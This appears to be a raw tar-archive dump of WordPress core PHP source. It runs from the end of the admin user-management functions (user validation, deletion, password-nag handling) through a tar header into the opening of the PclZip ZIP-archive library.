		$user->syntax_highlighting  = isset( $_POST['syntax_highlighting'] ) && 'false' === $_POST['syntax_highlighting'] ? 'false' : 'true';
		$user->admin_color          = isset( $_POST['admin_color'] ) ? sanitize_text_field( $_POST['admin_color'] ) : 'fresh';
		$user->show_admin_bar_front = isset( $_POST['admin_bar_front'] ) ? 'true' : 'false';
	}

$user->comment_shortcuts = isset( $_POST['comment_shortcuts'] ) && 'true' === $_POST['comment_shortcuts'] ? 'true' : '';

$user->use_ssl = 0;
	if ( ! empty( $_POST['use_ssl'] ) ) {
		$user->use_ssl = 1;
	}

$errors = new WP_Error();

/* checking that username has been typed */
	if ( '' === $user->user_login ) {
		$errors->add( 'user_login', __( '<strong>Error</strong>: Please enter a username.' ) );
	}

/* checking that nickname has been typed */
	if ( $update && empty( $user->nickname ) ) {
		$errors->add( 'nickname', __( '<strong>Error</strong>: Please enter a nickname.' ) );
	}

/**
	 * Fires before the password and confirm password fields are checked for congruity.
	 *
	 * @since 1.5.1
	 *
	 * @param string $user_login The username.
	 * @param string $pass1     The password (passed by reference).
	 * @param string $pass2     The confirmed password (passed by reference).
	 */
	do_action_ref_array( 'check_passwords', array( $user->user_login, &$pass1, &$pass2 ) );

// Check for blank password when adding a user.
	if ( ! $update && empty( $pass1 ) ) {
		$errors->add( 'pass', __( '<strong>Error</strong>: Please enter a password.' ), array( 'form-field' => 'pass1' ) );
	}

// Check for "\" in password.
	if ( false !== strpos( wp_unslash( $pass1 ), '\\' ) ) {
		$errors->add( 'pass', __( '<strong>Error</strong>: Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) );
	}

// Checking the password has been typed twice the same.
	if ( ( $update || ! empty( $pass1 ) ) && $pass1 != $pass2 ) {
		$errors->add( 'pass', __( '<strong>Error</strong>: Passwords don&#8217;t match. Please enter the same password in both password fields.' ), array( 'form-field' => 'pass1' ) );
	}

if ( ! empty( $pass1 ) ) {
		$user->user_pass = $pass1;
	}

if ( ! $update && isset( $_POST['user_login'] ) && ! validate_username( $_POST['user_login'] ) ) {
		$errors->add( 'user_login', __( '<strong>Error</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
	}

if ( ! $update && username_exists( $user->user_login ) ) {
		$errors->add( 'user_login', __( '<strong>Error</strong>: This username is already registered. Please choose another one.' ) );
	}

/** This filter is documented in wp-includes/user.php */
	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

if ( in_array( strtolower( $user->user_login ), array_map( 'strtolower', $illegal_logins ), true ) ) {
		$errors->add( 'invalid_username', __( '<strong>Error</strong>: Sorry, that username is not allowed.' ) );
	}

/* checking email address */
	if ( empty( $user->user_email ) ) {
		$errors->add( 'empty_email', __( '<strong>Error</strong>: Please enter an email address.' ), array( 'form-field' => 'email' ) );
	} elseif ( ! is_email( $user->user_email ) ) {
		$errors->add( 'invalid_email', __( '<strong>Error</strong>: The email address isn&#8217;t correct.' ), array( 'form-field' => 'email' ) );
	} else {
		$owner_id = email_exists( $user->user_email );
		if ( $owner_id && ( ! $update || ( $owner_id != $user->ID ) ) ) {
			$errors->add( 'email_exists', __( '<strong>Error</strong>: This email is already registered. Please choose another one.' ), array( 'form-field' => 'email' ) );
		}
	}

/**
	 * Fires before user profile update errors are returned.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Error $errors WP_Error object (passed by reference).
	 * @param bool     $update Whether this is a user update.
	 * @param stdClass $user   User object (passed by reference).
	 */
	do_action_ref_array( 'user_profile_update_errors', array( &$errors, $update, &$user ) );

if ( $errors->has_errors() ) {
		return $errors;
	}

if ( $update ) {
		$user_id = wp_update_user( $user );
	} else {
		$user_id = wp_insert_user( $user );
		$notify  = isset( $_POST['send_user_notification'] ) ? 'both' : 'admin';

/**
		 * Fires after a new user has been created.
		 *
		 * @since 4.4.0
		 *
		 * @param int    $user_id ID of the newly created user.
		 * @param string $notify  Type of notification that should happen. See wp_send_new_user_notifications()
		 *                        for more information on possible values.
		 */
		do_action( 'edit_user_created_user', $user_id, $notify );
	}
	return $user_id;
}

/**
 * Fetch a filtered list of user roles that the current user is
 * allowed to edit.
 *
 * Simple function whose main purpose is to allow filtering of the
 * list of roles in the $wp_roles object so that plugins can remove
 * inappropriate ones depending on the situation or user making edits.
 * Specifically because without filtering anyone with the edit_users
 * capability can edit others to be administrators, even if they are
 * only editors or authors. This filter allows admins to delegate
 * user management.
 *
 * @since 2.8.0
 *
 * @return array[] Array of arrays containing role information.
 */
function get_editable_roles() {
	$all_roles = wp_roles()->roles;

/**
	 * Filters the list of editable roles.
	 *
	 * @since 2.8.0
	 *
	 * @param array[] $all_roles Array of arrays containing role information.
	 */
	$editable_roles = apply_filters( 'editable_roles', $all_roles );

return $editable_roles;
}

/**
 * Retrieve user data and filter it.
 *
 * @since 2.0.5
 *
 * @param int $user_id User ID.
 * @return WP_User|bool WP_User object on success, false on failure.
 */
function get_user_to_edit( $user_id ) {
	$user = get_userdata( $user_id );

if ( $user ) {
		$user->filter = 'edit';
	}

return $user;
}

/**
 * Retrieve the user's drafts.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID.
 * @return array
 */
function get_users_drafts( $user_id ) {
	global $wpdb;
	$query = $wpdb->prepare( "SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id );

/**
	 * Filters the user's drafts query string.
	 *
	 * @since 2.0.0
	 *
	 * @param string $query The user's drafts query string.
	 */
	$query = apply_filters( 'get_users_drafts', $query );
	return $wpdb->get_results( $query );
}

/**
 * Remove user and optionally reassign posts and links to another user.
 *
 * If the $reassign parameter is not assigned to a User ID, then all posts will
 * be deleted of that user. The action {@see 'delete_user'} that is passed the User ID
 * being deleted will be run after the posts are either reassigned or deleted.
 * The user meta will also be deleted that are for that User ID.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $id User ID.
 * @param int $reassign Optional. Reassign posts and links to new User ID.
 * @return bool True when finished.
 */
function wp_delete_user( $id, $reassign = null ) {
	global $wpdb;

if ( ! is_numeric( $id ) ) {
		return false;
	}

$id   = (int) $id;
	$user = new WP_User( $id );

if ( ! $user->exists() ) {
		return false;
	}

// Normalize $reassign to null or a user ID. 'novalue' was an older default.
	if ( 'novalue' === $reassign ) {
		$reassign = null;
	} elseif ( null !== $reassign ) {
		$reassign = (int) $reassign;
	}

/**
	 * Fires immediately before a user is deleted from the database.
	 *
	 * @since 2.0.0
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int      $id       ID of the user to delete.
	 * @param int|null $reassign ID of the user to reassign posts and links to.
	 *                           Default null, for no reassignment.
	 * @param WP_User  $user     WP_User object of the user to delete.
	 */
	do_action( 'delete_user', $id, $reassign, $user );

if ( null === $reassign ) {
		$post_types_to_delete = array();
		foreach ( get_post_types( array(), 'objects' ) as $post_type ) {
			if ( $post_type->delete_with_user ) {
				$post_types_to_delete[] = $post_type->name;
			} elseif ( null === $post_type->delete_with_user && post_type_supports( $post_type->name, 'author' ) ) {
				$post_types_to_delete[] = $post_type->name;
			}
		}

/**
		 * Filters the list of post types to delete with a user.
		 *
		 * @since 3.4.0
		 *
		 * @param string[] $post_types_to_delete Array of post types to delete.
		 * @param int      $id                   User ID.
		 */
		$post_types_to_delete = apply_filters( 'post_types_to_delete_with_user', $post_types_to_delete, $id );
		$post_types_to_delete = implode( "', '", $post_types_to_delete );
		$post_ids             = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d AND post_type IN ('$post_types_to_delete')", $id ) );
		if ( $post_ids ) {
			foreach ( $post_ids as $post_id ) {
				wp_delete_post( $post_id );
			}
		}

// Clean links.
		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );

if ( $link_ids ) {
			foreach ( $link_ids as $link_id ) {
				wp_delete_link( $link_id );
			}
		}
	} else {
		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
		$wpdb->update( $wpdb->posts, array( 'post_author' => $reassign ), array( 'post_author' => $id ) );
		if ( ! empty( $post_ids ) ) {
			foreach ( $post_ids as $post_id ) {
				clean_post_cache( $post_id );
			}
		}
		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );
		$wpdb->update( $wpdb->links, array( 'link_owner' => $reassign ), array( 'link_owner' => $id ) );
		if ( ! empty( $link_ids ) ) {
			foreach ( $link_ids as $link_id ) {
				clean_bookmark_cache( $link_id );
			}
		}
	}

// FINALLY, delete user.
	if ( is_multisite() ) {
		remove_user_from_blog( $id, get_current_blog_id() );
	} else {
		$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
		foreach ( $meta as $mid ) {
			delete_metadata_by_mid( 'user', $mid );
		}

$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
	}

clean_user_cache( $user );

/**
	 * Fires immediately after a user is deleted from the database.
	 *
	 * @since 2.9.0
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int      $id       ID of the deleted user.
	 * @param int|null $reassign ID of the user to reassign posts and links to.
	 *                           Default null, for no reassignment.
	 * @param WP_User  $user     WP_User object of the deleted user.
	 */
	do_action( 'deleted_user', $id, $reassign, $user );

return true;
}

/**
 * Remove all capabilities from user.
 *
 * @since 2.1.0
 *
 * @param int $id User ID.
 */
function wp_revoke_user( $id ) {
	$id = (int) $id;

$user = new WP_User( $id );
	$user->remove_all_caps();
}

/**
 * @since 2.8.0
 *
 * @global int $user_ID
 *
 * @param false $errors Deprecated.
 */
function default_password_nag_handler( $errors = false ) {
	global $user_ID;
	// Short-circuit it.
	if ( ! get_user_option( 'default_password_nag' ) ) {
		return;
	}

// get_user_setting() = JS-saved UI setting. Else no-js-fallback code.
	if ( 'hide' === get_user_setting( 'default_password_nag' )
		|| isset( $_GET['default_password_nag'] ) && '0' == $_GET['default_password_nag']
	) {
		delete_user_setting( 'default_password_nag' );
		update_user_option( $user_ID, 'default_password_nag', false, true );
	}
}

/**
 * @since 2.8.0
 *
 * @param int    $user_ID
 * @param object $old_data
 */
function default_password_nag_edit_user( $user_ID, $old_data ) {
	// Short-circuit it.
	if ( ! get_user_option( 'default_password_nag', $user_ID ) ) {
		return;
	}

$new_data = get_userdata( $user_ID );

// Remove the nag if the password has been changed.
	if ( $new_data->user_pass != $old_data->user_pass ) {
		delete_user_setting( 'default_password_nag' );
		update_user_option( $user_ID, 'default_password_nag', false, true );
	}
}

/**
 * @since 2.8.0
 *
 * @global string $pagenow
 */
function default_password_nag() {
	global $pagenow;
	// Short-circuit it.
	if ( 'profile.php' === $pagenow || ! get_user_option( 'default_password_nag' ) ) {
		return;
	}

echo '<div class="error default-password-nag">';
	echo '<p>';
	echo '<strong>' . __( 'Notice:' ) . '</strong> ';
	_e( 'You&rsquo;re using the auto-generated password for your account. Would you like to change it?' );
	echo '</p><p>';
	printf( '<a href="%s">' . __( 'Yes, take me to my profile page' ) . '</a> | ', get_edit_profile_url() . '#password' );
	printf( '<a href="%s" id="default-password-nag-no">' . __( 'No thanks, do not remind me again' ) . '</a>', '?default_password_nag=0' );
	echo '</p></div>';
}

/**
 * @since 3.5.0
 * @access private
 */
function delete_users_add_js() {
	?>
<script>
jQuery(document).ready( function($) {
	var submit = $('#submit').prop('disabled', true);
	$('input[name="delete_option"]').one('change', function() {
		submit.prop('disabled', false);
	});
	$('#reassign_user').focus( function() {
		$('#delete_option1').prop('checked', true).trigger('change');
	});
});
</script>
	<?php
}

/**
 * Optional SSL preference that can be turned on by hooking to the 'personal_options' action.
 *
 * See the {@see 'personal_options'} action.
 *
 * @since 2.7.0
 *
 * @param WP_User $user User data object.
 */
function use_ssl_preference( $user ) {
	?>
	<tr class="user-use-ssl-wrap">
		<th scope="row"><?php _e( 'Use https' ); ?></th>
		<td><label for="use_ssl"><input name="use_ssl" type="checkbox" id="use_ssl" value="1" <?php checked( '1', $user->use_ssl ); ?> /> <?php _e( 'Always use https when visiting the admin' ); ?></label></td>
	</tr>
	<?php
}

/**
 * @since MU (3.0.0)
 *
 * @param string $text
 * @return string
 */
function admin_created_user_email( $text ) {
	$roles = get_editable_roles();
	$role  = $roles[ $_REQUEST['role'] ];

return sprintf(
		/* translators: 1: Site title, 2: Site URL, 3: User role. */
		__(
			'Hi,
You\'ve been invited to join \'%1$s\' at
%2$s with the role of %3$s.
If you do not want to join this site please ignore
this email. This invitation will expire in a few days.

Please click the following link to activate your user account:
%%s'
		),
		wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES ),
		home_url(),
		wp_specialchars_decode( translate_user_role( $role['name'] ) )
	);
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-pclzip.php������������������������������������������������������������������������������������0000604�����������������00000576672�15075125355�0007714 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
// --------------------------------------------------------------------------------
// PhpConcept Library - Zip Module 2.8.2
// --------------------------------------------------------------------------------
// License GNU/LGPL - Vincent Blavet - August 2009
// http://www.phpconcept.net
// --------------------------------------------------------------------------------
//
// Presentation :
//   PclZip is a PHP library that manage ZIP archives.
//   So far tests show that archives generated by PclZip are readable by
//   WinZip application and other tools.
//
// Description :
//   See readme.txt and http://www.phpconcept.net
//
// Warning :
//   This library and the associated files are non commercial, non professional
//   work.
//   It should not have unexpected results. However if any damage is caused by
//   this software the author can not be responsible.
//   The use of this software is at the risk of the user.
//
// --------------------------------------------------------------------------------
// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
// --------------------------------------------------------------------------------

// ----- Constants
  if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
    define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
  }

// ----- File list separator
  // In version 1.x of PclZip, the separator for file list is a space
  // (which is not a very smart choice, specifically for windows paths !).
  // A better separator should be a comma (,). This constant gives you the
  // ability to change that.
  // However notice that changing this value, may have impact on existing
  // scripts, using space separated filenames.
  // Recommended values for compatibility with older versions :
  //define( 'PCLZIP_SEPARATOR', ' ' );
  // Recommended values for smart separation of filenames.
  if (!defined('PCLZIP_SEPARATOR')) {
    define( 'PCLZIP_SEPARATOR', ',' );
  }

// ----- Error configuration
  // 0 : PclZip Class integrated error handling
  // 1 : PclError external library error handling. By enabling this
  //     you must ensure that you have included PclError library.
  // [2,...] : reserved for futur use
  if (!defined('PCLZIP_ERROR_EXTERNAL')) {
    define( 'PCLZIP_ERROR_EXTERNAL', 0 );
  }

// ----- Optional static temporary directory
  //       By default temporary files are generated in the script current
  //       path.
  //       If defined :
  //       - MUST BE terminated by a '/'.
  //       - MUST be a valid, already created directory
  //       Samples :
  // define( 'PCLZIP_TEMPORARY_DIR', '/temp/' );
  // define( 'PCLZIP_TEMPORARY_DIR', 'C:/Temp/' );
  if (!defined('PCLZIP_TEMPORARY_DIR')) {
    define( 'PCLZIP_TEMPORARY_DIR', '' );
  }

// ----- Optional threshold ratio for use of temporary files
  //       Pclzip sense the size of the file to add/extract and decide to
  //       use or not temporary file. The algorithm is looking for
  //       memory_limit of PHP and apply a ratio.
  //       threshold = memory_limit * ratio.
  //       Recommended values are under 0.5. Default 0.47.
  //       Samples :
  // define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.5 );
  if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
    define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
  }

// --------------------------------------------------------------------------------
// ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED *****
// --------------------------------------------------------------------------------

// ----- Global variables
  $g_pclzip_version = "2.8.2";

// ----- Error codes
  //   -1 : Unable to open file in binary write mode
  //   -2 : Unable to open file in binary read mode
  //   -3 : Invalid parameters
  //   -4 : File does not exist
  //   -5 : Filename is too long (max. 255)
  //   -6 : Not a valid zip file
  //   -7 : Invalid extracted file size
  //   -8 : Unable to create directory
  //   -9 : Invalid archive extension
  //  -10 : Invalid archive format
  //  -11 : Unable to delete file (unlink)
  //  -12 : Unable to rename file (rename)
  //  -13 : Invalid header checksum
  //  -14 : Invalid archive size
  define( 'PCLZIP_ERR_USER_ABORTED', 2 );
  define( 'PCLZIP_ERR_NO_ERROR', 0 );
  define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
  define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
  define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
  define( 'PCLZIP_ERR_MISSING_FILE', -4 );
  define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
  define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
  define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
  define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
  define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
  define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
  define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
  define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
  define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
  define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
  define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
  define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
  define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
  define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
  define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
  define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
  define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );

// ----- Options values
  define( 'PCLZIP_OPT_PATH', 77001 );
  define( 'PCLZIP_OPT_ADD_PATH', 77002 );
  define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
  define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
  define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
  define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
  define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
  define( 'PCLZIP_OPT_BY_NAME', 77008 );
  define( 'PCLZIP_OPT_BY_INDEX', 77009 );
  define( 'PCLZIP_OPT_BY_EREG', 77010 );
  define( 'PCLZIP_OPT_BY_PREG', 77011 );
  define( 'PCLZIP_OPT_COMMENT', 77012 );
  define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
  define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
  define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
  define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
  define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
  // Having big trouble with crypt. Need to multiply 2 long int
  // which is not correctly supported by PHP ...
  //define( 'PCLZIP_OPT_CRYPT', 77018 );
  define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
  define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020 ); // alias
  define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021 ); // alias
  define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022 ); // alias

// ----- File description attributes
  define( 'PCLZIP_ATT_FILE_NAME', 79001 );
  define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
  define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
  define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
  define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
  define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );

// ----- Call backs values
  define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
  define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
  define( 'PCLZIP_CB_PRE_ADD', 78003 );
  define( 'PCLZIP_CB_POST_ADD', 78004 );
  /* For futur use
  define( 'PCLZIP_CB_PRE_LIST', 78005 );
  define( 'PCLZIP_CB_POST_LIST', 78006 );
  define( 'PCLZIP_CB_PRE_DELETE', 78007 );
  define( 'PCLZIP_CB_POST_DELETE', 78008 );
  */

// --------------------------------------------------------------------------------
  // Class : PclZip
  // Description :
  //   PclZip is the class that represent a Zip archive.
  //   The public methods allow the manipulation of the archive.
  // Attributes :
  //   Attributes must not be accessed directly.
  // Methods :
  //   PclZip() : Object creator
  //   create() : Creates the Zip archive
  //   listContent() : List the content of the Zip archive
  //   extract() : Extract the content of the archive
  //   properties() : List the properties of the archive
  // --------------------------------------------------------------------------------
  class PclZip
  {
    // ----- Filename of the zip file
    var $zipname = '';

// ----- File descriptor of the zip file
    var $zip_fd = 0;

// ----- Internal error handling
    var $error_code = 1;
    var $error_string = '';

// ----- Current status of the magic_quotes_runtime
    // This value store the php configuration for magic_quotes
    // The class can then disable the magic_quotes and reset it after
    var $magic_quotes_status;

// --------------------------------------------------------------------------------
  // Function : PclZip()
  // Description :
  //   Creates a PclZip object and set the name of the associated Zip archive
  //   filename.
  //   Note that no real action is taken, if the archive does not exist it is not
  //   created. Use create() for that.
  // --------------------------------------------------------------------------------
  function __construct($p_zipname)
  {

// ----- Tests the zlib
    if (!function_exists('gzopen'))
    {
      die('Abort '.basename(__FILE__).' : Missing zlib extensions');
    }

// ----- Set the attributes
    $this->zipname = $p_zipname;
    $this->zip_fd = 0;
    $this->magic_quotes_status = -1;

// ----- Return
    return;
  }

public function PclZip($p_zipname) {
    self::__construct($p_zipname);
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function :
  //   create($p_filelist, $p_add_dir="", $p_remove_dir="")
  //   create($p_filelist, $p_option, $p_option_value, ...)
  // Description :
  //   This method supports two different synopsis. The first one is historical.
  //   This method creates a Zip Archive. The Zip file is created in the
  //   filesystem. The files and directories indicated in $p_filelist
  //   are added in the archive. See the parameters description for the
  //   supported format of $p_filelist.
  //   When a directory is in the list, the directory and its content is added
  //   in the archive.
  //   In this synopsis, the function takes an optional variable list of
  //   options. See below the supported options.
  // Parameters :
  //   $p_filelist : An array containing file or directory names, or
  //                 a string containing one filename or one directory name, or
  //                 a string containing a list of filenames and/or directory
  //                 names separated by spaces.
  //   $p_add_dir : A path to add before the real path of the archived file,
  //                in order to have it memorized in the archive.
  //   $p_remove_dir : A path to remove from the real path of the file to archive,
  //                   in order to have a shorter path memorized in the archive.
  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
  //                   is removed first, before $p_add_dir is added.
  // Options :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_COMMENT :
  //   PCLZIP_CB_PRE_ADD :
  //   PCLZIP_CB_POST_ADD :
  // Return Values :
  //   0 on failure,
  //   The list of the added files, with a status of the add action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function create($p_filelist)
  {
    $v_result=1;

// ----- Reset the error handler
    $this->privErrorReset();

// ----- Set default values
    $v_options = array();
    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

// ----- Look for variable options arguments
    $v_size = func_num_args();

// ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

// ----- Remove from the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

// ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

// ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_ADD => 'optional',
                                                   PCLZIP_CB_POST_ADD => 'optional',
                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                   PCLZIP_OPT_COMMENT => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                   //, PCLZIP_OPT_CRYPT => 'optional'
                                             ));
        if ($v_result != 1) {
          return 0;
        }
      }

// ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

// ----- Get the first argument
        $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];

// ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
		                       "Invalid number / type of arguments");
          return 0;
        }
      }
    }

// ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

// ----- Init
    $v_string_list = array();
    $v_att_list = array();
    $v_filedescr_list = array();
    $p_result_list = array();

// ----- Look if the $p_filelist is really an array
    if (is_array($p_filelist)) {

// ----- Look if the first element is also an array
      //       This will mean that this is a file description entry
      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
        $v_att_list = $p_filelist;
      }

// ----- The list is a list of string names
      else {
        $v_string_list = $p_filelist;
      }
    }

// ----- Look if the $p_filelist is a string
    else if (is_string($p_filelist)) {
      // ----- Create a list from the string
      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
    }

// ----- Invalid variable type for $p_filelist
    else {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
      return 0;
    }

// ----- Reformat the string list
    if (sizeof($v_string_list) != 0) {
      foreach ($v_string_list as $v_string) {
        if ($v_string != '') {
          $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
        }
        else {
        }
      }
    }

// ----- For each file in the list check the attributes
    $v_supported_attributes
    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
             ,PCLZIP_ATT_FILE_MTIME => 'optional'
             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
						);
    foreach ($v_att_list as $v_entry) {
      $v_result = $this->privFileDescrParseAtt($v_entry,
                                               $v_filedescr_list[],
                                               $v_options,
                                               $v_supported_attributes);
      if ($v_result != 1) {
        return 0;
      }
    }

// ----- Expand the filelist (expand directories)
    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

// ----- Call the create fct
    $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

// ----- Return
    return $p_result_list;
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function :
  //   add($p_filelist, $p_add_dir="", $p_remove_dir="")
  //   add($p_filelist, $p_option, $p_option_value, ...)
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This methods add the list of files in an existing archive.
  //   If a file with the same name already exists, it is added at the end of the
  //   archive, the first one is still present.
  //   If the archive does not exist, it is created.
  // Parameters :
  //   $p_filelist : An array containing file or directory names, or
  //                 a string containing one filename or one directory name, or
  //                 a string containing a list of filenames and/or directory
  //                 names separated by spaces.
  //   $p_add_dir : A path to add before the real path of the archived file,
  //                in order to have it memorized in the archive.
  //   $p_remove_dir : A path to remove from the real path of the file to archive,
  //                   in order to have a shorter path memorized in the archive.
  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
  //                   is removed first, before $p_add_dir is added.
  // Options :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_COMMENT :
  //   PCLZIP_OPT_ADD_COMMENT :
  //   PCLZIP_OPT_PREPEND_COMMENT :
  //   PCLZIP_CB_PRE_ADD :
  //   PCLZIP_CB_POST_ADD :
  // Return Values :
  //   0 on failure,
  //   The list of the added files, with a status of the add action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function add($p_filelist)
  {
    $v_result=1;

// ----- Reset the error handler
    $this->privErrorReset();

// ----- Set default values
    $v_options = array();
    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

// ----- Look for variable options arguments
    $v_size = func_num_args();

// ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

// ----- Remove form the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

// ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

// ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_ADD => 'optional',
